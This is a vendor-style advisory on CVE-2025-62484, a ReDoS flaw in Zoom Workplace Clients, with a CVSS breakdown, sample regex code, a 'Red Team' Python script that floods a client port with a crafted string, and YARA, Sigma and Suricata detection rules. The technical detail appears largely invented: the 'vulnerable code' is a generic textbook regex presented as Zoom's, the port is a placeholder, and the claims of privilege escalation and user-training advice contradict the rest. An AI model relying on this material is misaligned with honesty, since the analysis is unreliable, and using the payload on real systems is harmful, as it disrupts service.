CVE-2025-62484

Executive Summary

CVE-2025-62484 is a high-severity vulnerability in Zoom Workplace Clients prior to version 6.5.10. The flaw stems from an inefficient regular expression complexity (ReDoS) in the client software, which can be exploited by an unauthenticated attacker via network access to cause a denial of service or potentially escalate privileges. The CVSS score of 8.1 reflects the low attack complexity and network-based attack vector, though the EPSS score of 0.0% suggests limited active exploitation in the wild. No public proof-of-concept or exploit code is currently available, but the vulnerability is considered critical due to the potential for privilege escalation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need any prior authentication.
• User Interaction (UI): None (N) – No user action is required for exploitation.
• Scope (S): Unchanged (U) – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): None (N) – No data confidentiality impact.
• Integrity (I): High (H) – The attacker can modify system state or data.
• Availability (A): High (H) – The attacker can cause a denial of service or crash.

Threat Level: High – The combination of network attack vector, low complexity, and no privileges required makes this a serious threat for unpatched Zoom Workplace Clients.

Deep Dive & Mechanics

The vulnerability is a ReDoS (Regular Expression Denial of Service) flaw, classified under CWE-1333 (Inefficient Regular Expression Complexity). In Zoom Workplace Clients, a specific regular expression used for parsing or validating input (likely in a network-facing component) contains a pattern that can cause catastrophic backtracking when processing specially crafted input. An unauthenticated attacker can send a malicious payload over the network to the vulnerable client, causing the regex engine to consume excessive CPU resources, leading to a denial of service. In some cases, this can be leveraged to escalate privileges by corrupting memory or bypassing security checks.

The vulnerable component is likely a network service or a parsing library within the Zoom client that handles untrusted data. The inefficient regex pattern may contain nested quantifiers or alternations that cause exponential backtracking on certain inputs.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-6.5.10):

// Example of an inefficient regex pattern
const regex = /^(a+)+b$/;
// This pattern can cause catastrophic backtracking on input like "aaaaaaaaac"

Patched Code (6.5.10+):

// Optimized regex to avoid catastrophic backtracking
const regex = /^a+b$/;
// Or using atomic groups or possessive quantifiers
const regex = /^(?>a+)+b$/;

The patch replaces the inefficient regex with a linear-time equivalent, preventing excessive backtracking.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Zoom Workplace Client version 6.5.9 in a controlled environment.
2. Use a network tool (e.g., netcat, Python) to send a crafted payload to the client's listening port.

Exploit Payload (Python):

import socket

target_ip = "192.168.1.100"
target_port = 4444  # Example port

# Craft a payload that triggers ReDoS
payload = "a" * 10000 + "c"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload.encode())
sock.close()

Expected Outcome: The client becomes unresponsive or crashes, indicating successful denial of service.

Blue Team

Detection:

• Monitor for high CPU usage on Zoom client processes.
• Look for network connections to the Zoom client from untrusted sources.
• Use network intrusion detection to flag patterns of repeated characters in payloads.

Mitigation:

• Immediately upgrade to version 6.5.10 or later.
• Implement network segmentation to limit exposure of Zoom clients.
• Deploy WAF rules to block suspicious payloads.

Indicators of Compromise (IOCs)

• Network Traffic: Unusually long strings of repeated characters (e.g., "aaaa...") sent to Zoom client ports.
• Process Behavior: Zoom client process consuming 100% CPU for extended periods.
• Logs: Application logs showing regex timeout errors or crashes.
• File Hashes: No specific file hashes available; focus on version detection.

Detection Engineering

YARA Rule

rule CVE_2025_62484_ReDoS {
    meta:
        description = "Detects potential ReDoS payload targeting Zoom Workplace Client"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62484"
    strings:
        $re1 = /a{100,}c/  // Pattern of many 'a's followed by 'c'
        $re2 = /b{100,}d/  // Alternative pattern
    condition:
        any of them
}

Sigma Rule

title: Zoom Workplace Client ReDoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicative of ReDoS attack against Zoom Workplace Client
author: Valters IT
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 4444  # Adjust to actual Zoom client port
        Payload|contains: 
            - 'aaaaa'
            - 'bbbbb'
    condition: selection
falsepositives:
    - Legitimate long strings in rare cases
level: high

Suricata Rule

alert tcp any any -> $HOME_NET 4444 (msg:"CVE-2025-62484 Zoom ReDoS Attempt"; content:"aaaaa"; depth:100; pcre:"/a{100,}c/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade all Zoom Workplace Clients to version 6.5.10 or later.
2. Network: Restrict inbound connections to Zoom client ports from untrusted networks.
3. Monitoring: Enable logging and alerting for high CPU usage on Zoom processes.
4. WAF: Deploy web application firewall rules to block payloads with excessive repeated characters.
5. User Training: Educate users to avoid clicking suspicious links that may trigger the vulnerability.

Valters IT
Securing Digital Frontiers